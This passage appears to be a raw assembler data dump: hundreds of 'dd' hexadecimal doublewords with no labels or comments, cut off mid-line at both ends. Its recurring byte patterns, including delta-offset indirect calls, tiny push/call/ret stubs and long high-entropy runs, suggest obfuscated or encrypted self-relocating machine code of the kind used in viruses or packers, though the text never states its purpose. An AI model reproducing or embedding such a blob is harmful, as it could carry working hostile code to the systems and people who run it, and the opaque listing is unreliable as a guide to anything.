8BCDD10Ah, 0E4277195h, 0E9B58B05h, 0C705E41Ch dd 0E42C6585h, 6AC405h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 59E36D41h, 0F5858905h dd 8B05E411h, 0E40C95B5h, 0FD85C705h, 5E430h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 77BBC350h, 0C7BF0F53h, 8DB5FF5Eh, 8905E407h dd 0E40D358Dh, 29BD8B05h, 0FF05E428h, 0E42A6195h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0B8A9DF33h, 0FF820EAh, 0B58BF6BFh, 5E41AC1h, 95FF006Ah dd 5E410C1h, 7FEBC08Bh, 0BBC16901h, 0FE63EACDh, 6BE5E399h dd 0FE77466h, 8B746AADh, 60251023h, 0CE36E314h, 7310E141h dd 153067C6h, 0DC521BEAh, 9D57DA0Bh, 751F35DBh, 3E0AB094h dd 3E2B8434h, 8948616Bh, 0C2992FDFh, 0DD5F65F6h, 2B2286CCh dd 0B8FF28ECh, 329E8770h, 5C16E28Dh, 1A05167Dh, 5E6F3F3Bh dd 70E8AF3h, 0C013852Eh, 0C16D3FC9h, 3C34A57h, 0C8F3843Ch dd 3311758Ah, 0EE73B898h, 7763D9E7h, 0E8AE1C61h, 0Eh, 7271BFDFh dd 69F25C7Dh, 80163E5Ch, 0EE8EF8Bh, 0AE000000h, 5C03A336h dd 0A81E9B98h, 85261303h, 0C9858BDBh, 5905E403h, 8D89605Ah dd 5E40F5Dh, 61F78B66h, 6D8EC281h, 0BFF80000h, 1B2Bh, 8A32FFF5h dd 6B05EC3h, 4191EE81h, 8D89517Ch, 5E40145h, 0B9F5EE81h dd 9D89662Dh, 5E426A5h, 0BF47F681h, 0AE97AD5h, 1B000000h dd 0D9893A47h, 457AB6Dh, 60328972h, 4119589h, 9D0305E4h dd 5E40D5Dh, 0BEA8161h, 293BA5D3h, 0E40D1DB5h, 7C28105h dd 8B3BA5D3h, 0E421F19Dh, 1EF8305h, 15850Fh, 852B0000h dd 5E40995h, 35E9h, 3C903B00h, 0B5AB483h, 50208348h, 0F8D0Fh dd 9E80000h, 0D000000h, 816DFF43h, 714218AFh, 6AE95B58h dd 0CBFFFFFFh, 243A5846h, 0FF791EFAh, 4A8C983h, 0EE80F2Dh dd 56000000h, 2D996040h, 2DE59592h, 330A4F26h, 79BD094Bh dd 5E05E416h, 1851958Bh, 0C68105E4h, 60A2h, 0CE96057h dd 69000000h, 0DDA6CD3Fh, 0FB34338Dh, 173BB1Fh, 0E42C698Dh dd 2B5B6105h, 6800FFFh, 8B000000h, 0E4318195h, 3734FF05h dd 0CAD7C3BAh, 29605836h, 0E429A995h, 0F8D0F05h, 0E8000000h dd 9, 2251BB75h, 592C64BCh, 81615EB8h, 0AA2AF2C0h, 48F08120h dd 89241087h, 0E41C1DBDh, 60C08105h, 89654C71h, 0E41F019Dh dd 0DE95005h, 35000000h, 0B231574Eh, 1F5AB0C4h, 0CCB965C0h dd 813E048Fh, 0CCACB0C1h, 0DE3803Bh, 8B04EF83h, 0E4231995h dd 58FF8105h, 0FFFFFA0h, 2285h, 6840F00h, 29000000h, 0E42DA185h dd 2BE905h, 0F4250000h, 5F23684Fh, 2C8B1F0Bh, 55C49D56h dd 8BC0193Fh, 0FF5FE9DAh, 0EB8FFFFFh, 65509256h, 60886AC9h dd 704C9951h, 0B0FEE8ABh, 34AC4234h, 7C2406A2h, 0B37D7AA2h dd 0D40FA33Bh, 0B42A2183h, 30259083h, 3025C46Fh, 0C998A786h dd 3020F68Eh, 305A8D89h, 8DA68486h, 35C14577h, 42A12E86h dd 0F6259086h, 0D40F0103h, 0BC4D6A83h, 0B1BE09EDh, 8CE92DB2h dd 85DAB7DFh, 35C14A7Fh, 5D15A40Bh, 0E0DA9561h, 0B5E3B80Dh dd 35C10ECFh, 0B08F7AC8h, 34A49CCCh, 0C87312A2h, 0C190BD94h dd 0BD20C581h, 0D748A003h, 0BBF5B783h, 30359D7Eh, 38CC1286h dd 96250986h, 302B0189h, 3B6C4286h, 0C0A02E4Fh, 0D9DA6F79h dd 3025488Bh, 7C15B90Bh, 359D1762h, 0CF250986h, 0F8980965h dd 0BD20A80Dh, 0DAA9A70Bh, 15372883h, 0FF0ECEB6h, 34AC4247h dd 7C2406A2h, 0B37D7AA2h, 0D40FA33Bh, 0B42A2183h, 30259083h dd 3025C46Fh, 8398A786h, 0A4F305E9h, 22B9h, 8E800h, 4F860000h dd 0A2E91E6Ah, 9589E333h, 5E41DC1h, 0CDC7805Eh, 72E8C681h dd 0F3800000h, 0BAFF33E1h, 67EB5B7h, 603734FFh, 29D3BF0Fh dd 0E400A99Dh, 31586105h, 0E4135DBDh, 0DDC08105h, 8923DA55h dd 0E41121BDh, 0AF08105h, 0FC6986BAh, 2E39E881h, 81664985h dd 89118CCAh, 0DB813E04h, 0BD7C80Ch, 28D0Fh, 0CB8B0000h dd 0AC28EF81h, 6B91DB8h, 8145CA05h, 0B8AC24C7h, 0FF81FC1Dh dd 0FFFF8DC8h, 18850Fh, 8D890000h, 5E40D79h, 25E9h, 32E51800h dd 840EEA2h, 89412687h, 6E9ABB6h, 3D000000h, 0A55E49D0h dd 0FF76E990h, 8B73FFFFh, 774FC930h, 8D8DF02Dh, 5EA8E75h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0C4C35141h dd 91DB79B2h, 5C53926Bh, 21D9BD89h, 8D8905E4h, 5E41095h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0FDC35343h dd 69BD8BC7h, 0C705E42Bh, 0E42C6585h, 637805h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 5D15B5A7h, 958B8EA9h, 5E4221Dh, 30FD85C7h, 5E4h, 6A0000h dd 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0A2B325C3h dd 0EE7C74E5h, 7D8D893Ah, 0FF05E42Eh, 0E4005DB5h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 8F768AABh, 0BABBE5F3h, 4E5506EEh, 0CE9h, 62A8E700h dd 9EBB5C54h, 821EF51Eh, 0FFC28A2Eh, 0E42A6195h, 9858B05h dd 6A05E411h, 0C195FF00h, 8B05E410h, 806AEBC0h, 4E91D4CBh dd 10A070BBh, 5A4312F8h, 24B68820h, 0BD530936h, 45FCA02Ch dd 0BDC007E0h, 53568A8Bh, 64C94740h, 1A2F4A9Bh, 0CB2D885Dh dd 7063C403h, 4E4C4F98h, 0BCAE1FC8h, 920DEDF0h, 910D92B5h dd 0D2F79725h, 5E776A2Eh, 0BB4DFD8Bh, 4D118749h, 430729A7h dd 0AAA102B9h, 0D4E81108h, 4B693B5Ch, 9FCDAE9Eh, 0D8158E6Ah dd 0F604EB12h, 0E9315FDBh, 845h, 395CD798h, 0EFEE69E1h dd 9C038633h, 345BD486h, 0EDF06FEEh, 0A92C7D38h, 0C373AF2Eh dd 13D94144h, 0AE2DF598h, 0B211A82Fh, 0EF73EF4Dh, 603F4D54h dd 4E5CD52h, 0B82494Fh, 0C6443184h, 0FC7AA007h, 19F2617Bh dd 0E8F70BD8h, 0E5A86B54h, 200EBE8Dh, 0A962A4E9h, 0F478A223h dd 19F2617Bh, 0DEC178FDh, 0BD3D9744h, 69F3C93Ah, 44516BE2h dd 1CDB3A66h, 6DE03A9Dh, 0A06DE6F2h, 40562D1Dh, 668733F9h dd 20000000h, 0EDFF78FAh, 773C9D76h, 86E4D9C6h, 0E64F04E6h dd 0E9E8C035h, 7777D181h, 0AC7D96Ch, 86D24D00h, 72939FEBh dd 0F14144C3h, 2E150A92h, 34FBh, 6DCC1200h, 4E61210h, 0F4A1924Fh dd 1CAC2BAAh, 4E6462Bh, 0ADD5FD4Fh, 0B627894Ch, 41B2A13Bh dd 55D6849Eh, 6E03D507h, 9B783C65h, 1BDAEDA6h, 12h, 4BC67742h dd 0E66ACE71h, 2E84F04h, 0C37EFF1Eh, 6FD80BDCh, 0C0269EF4h dd 0B68F71E2h, 4F0598B4h, 598AFF30h, 0B04C89F6h, 0AC7354E9h dd 8A72F0CDh, 1F254E9h, 0E98A62C0h, 4411C254h, 59E3F93Ah dd 1BA3090h, 9851C9CCh, 0A11E4B61h, 0B7267C23h, 8ADE5911h dd 9F546459h, 968C5332h, 0DF14A423h, 3B9413C3h, 0CDA509FAh dd 26B2655Ah, 55B4FC46h, 0C4C27CE4h, 0A4362704h, 3B66C73h dd 41333484h, 804F0590h, 46ACF63Ah, 0A16AFFD8h, 2975DE19h dd 31A629A0h, 2BEA60D8h, 0E5F97B44h, 0B87B4F04h, 29C3B75Eh dd 0B01D0FE2h, 106DCC1Bh, 4F04E612h, 0E4F4A192h, 0AE36A5FDh dd 0FFCA3678h, 0FB0778F7h, 74EFFD7Ch, 0C077329Bh, 5B0C7049h dd 14C4D45Fh, 23052Dh, 7CA60000h, 0F96A7EF9h, 60D8BF1Ch dd 0F3CCDDEAh, 4F04E671h, 0CCAB00F3h, 47C2779Bh, 2C421576h dd 40h, 3BE6CC7Bh, 0C7E88D1Fh, 19CFAA67h, 0F3CC3A93h, 4F04E671h dd 0F6744928h, 764F04E5h, 5A9FC885h, 0CC9BCC0Dh, 0E612106Dh dd 0A1924F04h, 812FAAF4h, 4F1C51C8h, 12106DCCh, 924F04E6h dd 6FC8F4A1h, 7349C077h, 967DCCCh, 150DD04Fh, 1EDC26A1h dd 0BB14CF9Dh, 6149131Fh, 37A66830h, 0E73320B8h, 0EEAB3930h dd 11B437A4h, 0FFCD4409h, 5B71E86Dh, 72AB874Eh, 0A16BC8B2h dd 0BFF06BE1h, 698888D2h, 986A6DE4h, 2E18FDABh, 41DCh dd 0C0777B00h, 89467349h, 3E9A8C12h, 76ABE530h, 4EC98B97h dd 7CDD2285h, 0F854E9C2h, 0CE8FA537h, 29FF61D4h, 29DE9B88h dd 34F087Dh, 0D779FE1Fh, 2A087562h, 8A54E95Bh, 0BC231449h dd 9514C5DDh, 0C0779338h, 89467349h, 98E5440Bh, 4F04E59Ah dd 0A97CD91Ah, 0E903AB54h, 85488B54h, 0F5DDC9Dh, 2E0C71D4h dd 8E54E903h, 68FD804Dh, 0DDEA60D8h, 0C0776E39h, 0E688EADBh dd 33E44F04h, 5B0CE9FEh, 14C4D45Fh, 2B052Dh, 0D8500000h dd 0CCDDEA60h, 28E562D6h, 0E60A6855h, 0A96A4F04h, 779BCC10h dd 71EE6EC2h, 0DA9EE85Bh, 0E3D40F5Dh, 2C4215CAh, 2Ch, 0EA60D87Bh dd 71F3CCDDh, 0C24F04E6h, 0C474AE71h, 0CCC19643h, 0FBE6CC9Bh dd 7BF9C63Eh, 0F94F054Ch, 0BEFADC36h, 0FB7E9875h, 42156F7Ch dd 7349C077h, 967DCCCh, 0B416D84Fh, 7B518205h, 0DBF168E1h dd 0B6118841h, 1A6CA4ECh, 89EBD4BBh, 0EB4F0967h, 3F636F28h dd 6B719DEh, 0EB37568Bh, 9413C66Ah, 8EDA0FC4h, 6A7EF97Ch dd 0E6070B5Fh, 65D5F877h, 2E194A1Eh, 9AEC4BA7h, 88804F5Eh dd 5690CFh, 77C70000h, 88EADBC0h, 0E44F04E6h, 0EBEAFE33h dd 0D6833EBFh, 6528AA63h, 5CDE2786h, 0D84F04E6h, 0EFD43B17h dd 227B8516h, 14CB0869h, 0C12B54E9h, 0FC4940Fh, 0F5C742F3h dd 504A0D7Eh, 20A8659Eh, 12484812h, 0C0E47E38h, 0A0B22D2Ch dd 47FFDBD2h, 0EF2BE4DCh, 79EEF168h, 0E150C077h, 63E6538Fh dd 0CDB09A49h, 0A7356693h, 18FF7D2Ah, 0E9515A27h, 5679BA54h dd 0EA60D881h, 2F18CF2Bh, 6C4DD3AAh, 0D6CC2AA3h, 1CD7E562h dd 62B819B3h, 339875F2h, 7049C077h, 0E661D6CCh, 5FCD9A2Dh dd 2D14C4D4h, 5405h, 0FC7CA600h, 5662E552h, 2310A89Dh dd 0D6CC6176h, 62D1EB64h, 8EDA5518h, 4B31F855h, 0F3CCE8C1h dd 4F04E671h, 0CCAB00F3h, 104BCAE6h, 0BD16ADDDh, 0C277FDEAh dd 3D1F8B5Eh, 97C83C8Fh, 2C4215C6h, 4Bh, 7C79A58Dh, 27B0C5CFh dd 6D0688C4h, 0DCB9EA5Eh, 0EA60D8FFh, 71F3CCDDh, 0C24F04E6h dd 43F5D68h, 54B393Bh, 1E78BB4Fh, 0AEE39A48h, 61D6CC19h dd 0B461D2E6h, 0C27784D1h, 0DC9A8047h, 73D2015Bh, 4E63032h dd 8E4B8C4Fh, 774215C9h, 0CC7349C0h, 4F0967DCh, 0A5150DD0h dd 66ED4FB0h, 8C4F4F09h, 79D2015Bh, 130F555Dh, 0BFF620A7h dd 13BA21F1h, 995EB815h, 0EFF1DE07h, 94D9496h, 0F3DF104Fh dd 665B3E20h, 0BD3CBB67h, 0A3A7F0DAh, 4A970D1Dh, 219ECB81h dd 351DFCA3h, 0E668CEE6h, 0AAE45F6Dh, 0BF8037B5h, 4F098EBDh dd 0CE8BFC3Fh, 0ED98D8E1h, 547BBC54h, 2EA92D75h, 9B5DA99Ah dd 0D826B760h, 9514C360h, 1748C389h, 39983946h, 4E666C4h dd 0B631A64Fh, 42B53122h, 0C077C089h, 5B0C7049h, 14C4D45Fh dd 52052Dh, 7CA60000h, 0EF6D7FF8h, 1CE5347Fh, 8D46BB94h dd 0C360D8CCh, 27C59712h, 0B5AE3AB5h, 0CCBE0F40h, 0D7E562D6h dd 0DECB31Ch, 0E5D351AEh, 0B9314F04h, 8653843Eh, 4E5BBB9h dd 0E1F6394Fh, 0C2779BCCh, 0B4157647h, 0E68AE8D5h, 29EA4F04h dd 302C6F6Ch, 7B000000h, 1AF360D8h, 0B6B74011h, 0CC8A2314h dd 487356Dh, 0EDD2BFB4h, 4F04E68Fh, 308A02DCh, 6EF2F5D0h dd 9BCCAC3Dh, 7647C277h, 0E96EB415h, 7734A56Eh, 0CC7349C0h dd 4F0967DCh, 0D08AF6D0h, 34A20CCAh, 0F92A19B3h, 50AD70E3h dd 4F0966D2h, 0EA34E152h, 8E3BF36Dh, 0D47C09A1h, 94689EBh dd 0F728EB4Fh, 66BC0382h, 719D76F1h, 7C6943FAh, 615E0183h dd 54ED670Ch, 6AE557B3h, 0B3D205A1h, 0EA60D81Ah, 0C27DFF2Bh dd 3B907DF6h, 0C4399839h, 4F04E666h, 0CB631A6h, 0E4F473E2h dd 78513A6Fh, 7049C077h, 0C575AD0Ch, 5FC08942h, 2D14C4D4h dd 4B05h, 0DBC7A600h, 16CD9F1Ah, 4E64B29h, 894FA94Ch, 5B70DD0Eh dd 0DDEA60D8h, 0C264D6CCh, 0A399314h, 875083D9h, 0E65DDF20h dd 1CDF4F04h, 6EE961B9h, 8F08C05Ah, 0CCD8F15Ah, 5EC2779Bh dd 5E5860E2h, 3784F95Ah, 2C2C4215h, 7B000000h, 0DDEA60D8h dd 1066E6CCh, 4F8B0CCCh, 106AB4D1h, 5B88205Bh, 54D62FFEh dd 0E14F054Fh, 0DC91894Ch, 0CCE3E8A5h, 47C2779Bh, 0CC421576h dd 0E612106Dh, 74494F04h, 4F04E5F6h, 0D6198576h, 235A117Dh dd 0E163DC89h, 94435F3Eh, 0E67BB815h, 8E54E8EEh, 0DA2B8A4Dh dd 54E8EE58h, 17B663D4h, 0A669EBA4h, 0D37CBD59h, 95EABB5Ah dd 4F136B97h, 0ED4FB015h, 4F4F136Bh, 52665B8Ch, 2BA103C8h dd 0C2587FB0h, 0B83FBB15h, 1FFE3320h, 3C1F8633h, 8191E44Bh dd 3AA7C7EAh, 0B226F324h, 0C91B0E8Dh, 78B80283h, 0C072D299h dd 0BDBF8047h, 3F83C08Ah, 1E048BFCh, 708ADE59h, 0D57745FEh dd 48D2E661h, 0EBBF0D86h, 0FFC90101h, 4F0CED15h, 9A51C9CCh dd 9F56BC63h, 3ABC1D6h, 0FDCF4E0Dh, 44091546h, 0E94800CDh dd 3, 7751063Ch, 0ED7F4DC4h, 4FDDEF6Eh, 0A0BA0E89h, 319B32Ch dd 6785D752h, 0DB617BF6h, 30CA9E19h, 90AA3EB9h, 0B30D5FD8h dd 6DA68h, 243C8900h, 81E38953h, 4C3h, 4EB8100h, 87000000h dd 895C241Ch, 8956243Ch, 4C681E6h, 81000000h, 4EEh, 24348700h dd 2414895Ch, 0A968h, 24348900h, 0EA8EEFBEh, 5EF78905h dd 24148B54h, 4C481h, 0BD680000h, 89000011h, 428F243Ch dd 2434FF08h, 4C4815Ah, 0FF000000h, 835F2434h, 9BE904C4h dd 86FFF9E6h, 0B94B423Ah, 62CCF9BAh, 96BBB850h, 0C50305EAh dd 0C62AE0FFh, 9EE9558Eh, 0A2F60513h, 29720237h, 0F3BC4F6Fh dd 0B95416C9h, 73C617C4h, 49824C83h, 39467540h, 0AAE14ACEh dd 0D3EF5557h, 0F75101FDh, 820E3595h, 0BF1C43FFh, 0A0AD4A43h dd 9294815h, 392D2A20h, 2A20BE4h, 904F487Ch, 10D67C0Eh dd 0E61D15B4h, 3731D47h, 14E81259h, 37000000h, 0B8CA0C84h dd 0E30BF395h, 7A1299DFh, 89E5690Dh, 51136572h, 28B0Fh dd 5A500000h, 0C3BA595Ah, 81584803h, 67DEC1h, 0D0B70F00h dd 0BFh, 0E8605700h, 0Fh, 0C5545175h, 53D47DBAh, 0BD1A0F5Eh dd 5B3C38EDh, 1C8B5861h, 0C381F839h, 1FD888F2h, 0BE8h dd 0F915C900h, 84DC6535h, 6214D113h, 0AE9h, 321C6500h dd 210EFC53h, 5AD20C6Ch, 0E12EC381h, 0EE8027A2h, 4AC3811Fh dd 0E94C2D49h, 14h, 9801EE65h, 39F45F46h, 7B08446Ch, 5F3270DDh dd 53DBD340h, 0CE953h, 2DAC0000h, 81810707h, 0E0FD647Bh dd 48FA44Fh, 0AE96039h, 0FC000000h, 83D0918h, 0C9114B7Ah dd 0CABF0F5Eh, 0DE961h, 1DFC0000h, 0DF284C51h, 7AAC6E74h dd 8367E5E7h, 664F03EFh, 81377ABEh, 0FF9948FFh, 28850FFFh dd 60000000h, 800F51h, 5E000000h, 58B0Fh, 0ADBF0000h, 616677BFh dd 24E9h, 0B8AE2300h, 114CE839h, 630A1F44h, 8B83ADDEh dd 0FF30E9D6h, 0D517FFFFh, 0CD9E0871h, 0A5A3408Fh, 0EAF33E03h dd 7E8E9h, 8DD30000h, 6C969D9h, 5880F17h, 66000000h, 9FA5D181h dd 0BF0F605Fh, 0BE9FEh, 28A50000h, 6333227Eh, 1FFEF111h dd 0C7816144h, 585Ch, 44FBBEF9h, 0F6813C9Ch, 3C9C5102h dd 0A6C9B966h, 0D08A37FFh, 0F281665Bh, 0EB8150BEh, 33FCC293h dd 2BEB81F9h, 0B96EBA39h, 7959F8B1h, 65BFEB81h, 665331B1h dd 8F56B8BAh, 0D38B6607h, 6604EF83h, 0EE83D18Bh, 0C5850F01h dd 80FFFFFFh, 8D8DA9E5h, 5EA9A30h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 8EC35040h, 90DCB166h, 16E89357h dd 895F53FAh, 0E410958Dh, 0FD9D8B05h, 0C705E40Fh, 0E42C6585h dd 59C805h, 0CF08100h, 0C7405FEAh, 0E430FD85h, 5, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0D4CE7398h, 0ADB5896Ah, 6005E414h, 60DFBF0Fh, 26D5BD09h dd 5F5205E4h, 0B5FF6161h, 5E4021Dh, 6810F60h, 8B000000h dd 0E417559Dh, 14E96005h, 79000000h, 0E6D1555Eh, 76B79A30h dd 0AC741532h, 0FCBDA3D8h, 8BA57B70h, 0E4102985h, 0FF616105h dd 0E42A6195h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 0B8661808h, 6A03CCh, 10C195FFh dd 0C08B05E4h, 0BFC96BEBh, 87E4D3BBh, 3AB33D82h, 0A66ECE6Dh dd 0DE39E678h, 44EFEEABh, 3DC619EDh, 9A18572Fh, 0DCD9260Fh dd 0E4477538h, 0B45A6FFBh, 17C33E53h, 3D008124h, 0E248B4B9h dd 2FE3DBC3h, 5870A39Dh, 5B62D9B4h, 0ECE5CA33h, 51870922h dd 0F3497FD6h, 45B5DFFh, 0A051A936h, 82826A2Bh, 0E0DD6BAAh dd 0E4A8A96Fh, 0F201083Ah, 541D511Ch, 418D8D61h, 8005EA9Bh dd 8D892ED8h, 5E41095h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 0EEC35242h, 0C7D88A99h, 0E42C6585h, 5A5405h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0E6E775D8h, 895A26FEh, 0E4237DBDh, 99BD3105h dd 0C705E413h, 0E430FD85h, 5, 9DBD8900h, 6605E414h, 0C48AF681h dd 240DB5FFh, 9D8905E4h, 5E427F5h, 42A2BF50h, 0FF585662h dd 0E42A6195h, 3BDF8105h, 6A55A57Bh, 0C195FF00h, 8B05E410h dd 2F39EBC0h, 3DE1045Ch, 6C86EE90h, 0C7F4BDEBh, 0AC6320FBh dd 0FDF5A719h, 4F628587h, 0C06C3596h, 0A223BDE8h, 844E5035h dd 0BF1954B5h, 496875CBh, 7FAFBE46h, 0C69E7368h, 0D31BF1A4h dd 9C408D8Dh, 9D3105EAh, 5E426F1h, 10958D89h, 12E905E4h dd 0DF000000h, 1FC23803h, 0B5465E38h, 0FC8091EEh, 3CB1C6A5h dd 6585C752h, 9405E42Ch, 6A00006Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0B0E5C353h dd 0FD85C735h, 5E430h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 9590C352h dd 0E929771Bh, 14h, 0F6380748h, 0F77EF733h, 34BDABE3h dd 0E7046A9Dh, 384FC49Fh, 1611B5FFh, 816605E4h, 0FFC2FBF0h dd 0E42A6195h, 0A99D8905h, 0E905E417h, 0Ah, 79B36AC2h dd 0D17227Ah, 6A45C4h, 10C195FFh, 0C08B05E4h, 72037AEBh dd 0FDA4C207h, 0B05527A0h, 9F121C45h, 0F9B07959h, 487491FAh dd 3A10D22h, 3933605Ah, 0A3228E61h, 69075FCFh, 0D0DCF15Fh dd 0BC02A23Eh, 0A78BD844h, 0C08EAF87h, 6B33AABAh, 0A6737084h dd 2E3996ABh, 0D9E99747h, 70BA460Dh, 3721DBA9h, 7CC040F6h dd 8A29703Ah, 0B1B891Ch, 0D95D05ABh, 5FE74499h, 0AFA6AFEFh dd 0CE558D77h, 48B8A7E6h, 502F6006h, 24D3FBB8h, 7589EE7Dh dd 12E8h, 2CA0FC00h, 0B3F74E15h, 8B471274h, 7B1AC5F4h dd 890408C7h, 0E41205BDh, 12E95B05h, 5000000h, 5BB5F5EFh dd 6E7EBC3Ch, 8FC45F56h, 1B8ED8D1h, 76C381B6h, 0BF00006Fh dd 0 dd 1C1DB589h, 348B05E4h, 0EE81FC3Bh, 187F4862h, 2061958Bh dd 0EE8105E4h, 1F130A15h, 8318D8Bh, 0C68105E4h, 72AD7C24h dd 0F956CC8Ah, 0B13B048Fh, 63EF8188h, 5173D33Fh, 815AEE8Ah dd 0D33F5FC7h, 0EE973h, 19690000h, 5E08B1FAh, 0A368CF56h dd 0FA69F80Dh, 9150FF81h, 850FFFFFh, 16h, 0E972CD80h, 27h dd 443050D7h, 68720A0Ch, 45F9856Ch, 9BB4C71Bh, 0FFFF89E9h dd 13672FFFh, 766D12AAh, 96A46D08h, 0BFDEE5ECh, 8D3D8926h dd 0EA9E7C8Dh, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 0C92CB43Dh, 1EE59509h dd 8D8905E4h, 5E41095h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 78C35646h, 85C7FDFCh, 5E42C65h, 62B8h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0DEC35545h dd 0A45AE06h, 77038B1h, 111DBD0Bh, 85C705E4h, 5E430FDh dd 0 dd 81BD8960h, 8B05E417h, 0B5FF61F3h, 5E42031h, 14E8h, 45FB4A00h dd 7F8693F5h, 2EB586B9h, 73470ACBh, 0C415826Fh, 89858B8Dh dd 5B05E425h, 2A6195FFh, 6A05E4h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 160424h, 52420000h, 756AF4C3h, 10258529h dd 6A05E4h, 10C195FFh, 0C08B05E4h, 8C01EEBh, 41517807h dd 7E70D902h, 760A78BAh, 695CC20Fh, 0FD544916h, 0C7382E90h dd 0EF1C1FFh, 2A4985C6h, 685605E4h, 0A9C530DFh, 26F5B5FFh dd 858D05E4h, 5E76D30h, 8D8DD0FFh, 5E400C5h, 0FF406A51h dd 0E40959B5h, 0C9B5FF05h, 0FF05E41Ch, 59B5FFD0h, 0FF05E409h dd 0E41CC9B5h, 0FE805h, 0F8D90000h, 75CEE215h, 0D1BBF57Dh dd 26FA9C6Ch, 8358589Eh, 2CC104E8h, 24C10224h, 4030224h dd 241CF724h, 68h, 148B5900h, 0CAF28108h, 8148EBF9h, 995502C2h dd 54C28115h, 8953BEABh, 0E9830814h, 49494901h, 0F240C3Bh dd 0A85h, 11E900h, 760C0000h, 0E9C991A9h, 0FFFFFFCAh, 241F9ECAh dd 8D8A4109h, 0E402C99Dh, 0B038B05h, 7840FC0h, 8B000000h dd 45B8B03h, 0C98B1889h, 0A0118D8Dh, 0E95605EAh, 0Ch, 0C25AD506h dd 8DE84F9h, 68C1E445h, 958D895Eh, 0F05E410h, 8AB0FFBFh dd 2C6585C7h, 67FC05E4h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 85C786C3h, 5E430FDh dd 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 5DC35545h dd 0DE46E9DAh, 51F72CDAh, 1611B5FFh, 8D8905E4h, 5E4037Dh dd 2A6195FFh, 6A05E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0C27EC8C3h, 6A7AC2B5h, 0C195FF00h dd 8B05E410h, 847AEBC0h, 25F1E600h, 2E449A37h, 0A8E34664h dd 4B52586Eh, 0E7E5CA9h, 709BBAF3h, 66694CC0h, 103E4EEAh dd 0CF675BF6h, 4BBC5773h, 0F5E36963h, 14EFFE41h, 2E6E86D0h dd 7E3EF4EEh, 33850E78h, 2ECA724Ch, 15BC6912h, 0FE74EFDEh dd 0B2F629A4h, 33346BC3h, 0D95CD2CDh, 1FF2827Ah, 0C463B828h dd 0F9F7E443h, 19C58D67h, 5CAEFF6Eh, 1506E755h, 0E66F37E0h dd 0B856A1F6h, 1F092A91h, 15FE9F9h, 8B520000h, 0E860D4h dd 5D000000h, 0A09EED81h, 428B05EAh, 38453D08h, 850F7826h dd 138h, 8B0C428Bh, 0C8D3184Ah, 0EC4C6DBBh, 83C3332Bh dd 858904E8h, 5E41095h, 8B04588Bh, 10428BF8h, 0D3184A8Bh dd 0E217BEC8h, 0C633DBFBh, 0E083C72Bh, 4E883FCh, 2C658589h dd 428B05E4h, 0FD858914h, 8B05E430h, 0E9531842h, 0B0h dd 229DB5FFh, 0B9E905E4h, 0FF000000h, 0E43179B5h, 0AEE905h dd 0B5FF0000h, 5E425F5h, 0A3E9h, 5DB5FF00h, 0E905E400h dd 98h, 22FDB5FFh, 8DE905E4h, 0FF000000h, 0E4021DB5h, 82E905h dd 0B5FF0000h, 5E42DBDh, 77E9h, 0FDB5FF00h, 0E905E426h dd 6Ch, 1001B5FFh, 61E905E4h, 0FF000000h, 0E41381B5h, 56E905h dd 0B5FF0000h, 5E402D9h, 4BE9h, 8DB5FF00h, 0E905E407h dd 40h, 31EDB5FFh, 35E905E4h, 0FF000000h, 0E41611B5h, 2AE905h dd 0B5FF0000h, 5E4240Dh, 1FE9h, 31B5FF00h, 0E905E420h dd 14h, 0BB8D88Bh, 66000000h, 8D8DE3F7h, 5EAA0FFh, 0E1FFC803h dd 2A6195FFh, 8B5B05E4h, 0E4109585h, 4583905h, 0F850Fh dd 6A530000h, 0C195FF01h, 5B05E410h, 0FFFFE2E9h, 0C35A61FFh dd 6AB85A61h, 0FF77D4C9h, 0D5858BE0h, 8D05E427h, 0EAA1ED8Dh dd 1418905h, 13E8C38Bh, 80000000h, 0A40182E3h, 0CB96FDAAh dd 0B01EF392h, 9163B314h, 0F280C4A3h, 5E859BDh, 31000000h dd 95C1BB05h, 12E8h, 0ADCCD200h, 21E70619h, 4C7B690Bh dd 37EDE2DAh, 0FCA2A052h, 0C1815E5Eh, 69F8h, 51EADE81h dd 0BB4CADh, 0F000000h, 34FFFAB7h, 0F38B660Bh, 81F08B58h dd 0BA51FBC0h, 14F08127h, 0BE452A5Eh, 520111E4h, 0A95CC081h dd 6E97F84h, 7B000000h, 3425DC14h, 19048985h, 83FE8B66h dd 0CA8104EBh, 182B2209h, 969CFB81h, 850FFFFFh, 0FFFFFFBAh dd 0E9D08B66h, 0ABh, 3F2E8D50h, 5F72B11Ch, 0A7ACABDAh dd 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h, 0B1F46BB2h dd 20752096h, 6BB79B55h, 92A5BCF2h, 7594A196h, 0B799603Ah dd 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh, 